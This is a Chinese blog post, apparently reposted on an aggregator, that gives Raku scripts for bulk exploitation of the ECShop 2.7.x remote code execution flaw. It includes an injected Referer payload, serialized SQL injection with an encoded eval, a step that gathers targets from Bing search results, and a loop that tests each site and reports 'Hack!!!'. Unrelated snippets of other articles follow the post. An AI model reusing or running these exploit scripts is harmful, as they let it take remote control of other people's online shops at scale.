ecshop 2.7.x 批量测试

news/2024/7/19 10:49:17 标签: 爬虫, xhtml

 

 

下面为测试是否存在漏洞的脚本:

sub MAIN($url) {
use HTTP::UserAgent;
my $r = HTTP::Request.new();
$r.uri: $url~'/user.php';
$r.set-method: 'POST';
my $ua = HTTP::UserAgent.new;
$r.add-content("action=login&vulnspy=phpinfo();exit;");
#my %data = :action<login>,'vulnspy' => "`echo 11111 > 1.txt`;exit";
my $exp = '554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"\'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca';
#$r.header.field(:User-Agent<Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0>);
#$r.header.field(:Accept<text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8>);
#$r.header.field(:Accept-Language<zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3>);
#$r.header.field(:Accept-Encoding<gzip, deflate>);
$r.header.field(Referer => $exp);
$r.header.field(:Content-Type<application/x-www-form-urlencoded>);
#$r.add-form-data(%data);
#say $r.Str;
#exit;
my $html = $ua.request($r);
#say $r.Str;
#say $html.^methods;
if so $html.content ~~ /:i phpinfo/ {say 'True'};
}



 

为 True 时表示存在漏洞。

 

关键字查找可以用这个脚本:

 必应关键字查找

查找结果后处理 URL 可以用如下脚本:

my $file = open '1.txt', :r;
my $get_url = open 'url.txt', :a;
for $file.lines {
      if not so $_ ~~ /\// {
        .say;
        $get_url.say($_);
        next;
      }
      if  so $_ ~~ /^http/ {
        $_ ~~ /(http.*\/\/.*?)\//;
        my $swap = $/[0].Str;
        say $swap;
        $get_url.say($swap);
        next;
      }
      if so $_ ~~ /(.*?)\/.*/ {
        my $swap = $/[0].Str;
      say $swap;
      $get_url.say($swap);
    }
}

 

把以上处理过的文本导入进行批量检测最终脚本为:

use HTTP::UserAgent;
my $r = HTTP::Request.new();
my $file = open 'url.txt', :r;
my $target;
my $ua = HTTP::UserAgent.new;
for $file.lines -> $url {

      $r.clear;#清除所有头信息
      if $url ~~ /^http/ {
        $target = $url~'/user.php';
        $r.uri: $target;
      } else {
        $target = 'http://'~$url~'/user.php';
        $r.uri: $target;
      }
      say 'Check url: '~$target;
      TEST($target);

  }

sub TEST($url) {
    use HTTP::UserAgent;
    my $r = HTTP::Request.new();
    $r.uri: $url~'/user.php';
    $r.set-method: 'POST';
    my $ua = HTTP::UserAgent.new;
    $ua.timeout = 10;
    $r.add-content("action=login&vulnspy=phpinfo();exit;");
    my $exp = '554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"\'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca';

    $r.header.field(Referer => $exp);
    $r.header.field(:Content-Type<application/x-www-form-urlencoded>);

    try {
          # code goes in here
          # 如果有东西出错, 脚本会进入到下面的 CATCH block 中
          # 如果什么错误也没有, 那么 CATCH block 会被忽略
                my $html = $ua.request($r);
                #say $r.Str;
                #say $html.^methods;
                if so $html.content ~~ /:i phpinfo/ {
                  say 'Hack!!! ';
                } else {say 'No'}
          CATCH {
              default {
                # 只有抛出异常时, 这儿的代码才会被求值
                say 'Error';
              }
            }
        }

}

 

 

注意:

当打印结果为 Error 时, 可能是爬虫出问题, 或者是 url 链接无法打开。如果有这情况请进行手工测试。

漏洞说明链接为:

ECShop <= 2.7.x/3.6.x 全系列版本远程代码执行高危漏洞EXP

 

转载于:https://www.cnblogs.com/perl6/p/9582172.html


http://www.niftyadmin.cn/n/1188525.html

相关文章

24位png转32位png_真有小伙伴不知道浮点数如何转二进制吗?

来吧&#xff0c;坐下聊先前在前文《老大说&#xff1a;谁要再用double定义商品金额&#xff0c;就自己收拾东西走》中已经痛彻心扉地聊过&#xff1a;在处理诸如 订单交易、货币计算、以及商品金额慎用浮点数(double/float)去定义变量&#xff0c;否则可能会遇到各种奇葩的问题…

java map 空指针异常_Java8使用Collectors toMap,当value为null时报空指针异常

罪魁祸首就是HashMap的merge方法了&#xff0c;它的第一行就是这个&#xff1a;if (value null)throw new NullPointerException();复制代码为什么会调merge方法呢&#xff0c;toMap方法调的public static >Collector toMap(Function super T, ? extends K> keyMapper,…

tensorflow contrib_TensorFlow 指南:读取自定义文件和记录格式

前提条件&#xff1a;对 C 有一定的了解必须已下载 TensorFlow 源代码&#xff0c;并且能够编译它我们将支持文件格式的任务分为以下两部分&#xff1a;文件格式&#xff1a;我们使用读取器 tf.data.Dataset 从文件中读取原始记录(通常由标量字符串张量表示&#xff0c;但也可以…

arcgis 获取json经纬度_城市路网实时路况爬取与ArcGIS可视化

1、目标通过高德地图API进行城市路网实时路况数据爬取、城市行政区地理信息数据爬取与城市交通拥堵态势可视化。2、使用的工具Python3.6 IDLE、Excel2016、记事本编辑器、ArcGIS 10.5、申请的高德开发者KEY&#xff08;免费&#xff09;。3、主要思路本文的思路是使用Python的r…

java sleep概念_Java中sleep()与wait()区别(涉及类锁相关概念)

在区别之前&#xff0c;我们首先先了解一下关于对象锁&#xff0c;类锁的相关概念(当时查阅的详细地址&#xff1a;http://www.importnew.com/20444.html&#xff0c;该作者对类锁和对象锁进行了详细的举例分析)对象锁&#xff0c;类锁在java虚拟机中&#xff0c;每个对象和类在…

spring cloud gateway 网关_第二代微服务网关组件 - Spring Cloud Gateway

初识Spring Cloud Gateway简介&#xff1a;Spring Cloud Gateway是Spring Cloud体系的第二代网关组件&#xff0c;基于Spring 5.0的新特性WebFlux进行开发&#xff0c;底层网络通信框架使用的是Netty&#xff0c;所以其吞吐量高、性能强劲&#xff0c;未来将会取代第一代的网关…

三菱je-a系列伺服支持modbusrtu 协议吗_技成周报34期 | 三菱、西门子TCP/RS485通讯等问题解答...

三菱PLC常见问题问&#xff1a;三菱R系列PLC怎么修改时区&#xff1f;答&#xff1a;导航窗口——&#xff3b;参数&#xff3d;——&#xff3b;R00CPU&#xff3d;——&#xff3b;CPU参数&#xff3d;——“运行关联设置”——“时钟关联设置”——“时区”问&#xff1a;如…

c#与java速度快_写了一个貌似比快排更快的排序 (c#代码 跟java)

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;namespace 快速排序{class Program{static void Main(string[] args){Random rd new Random(10);int[] array…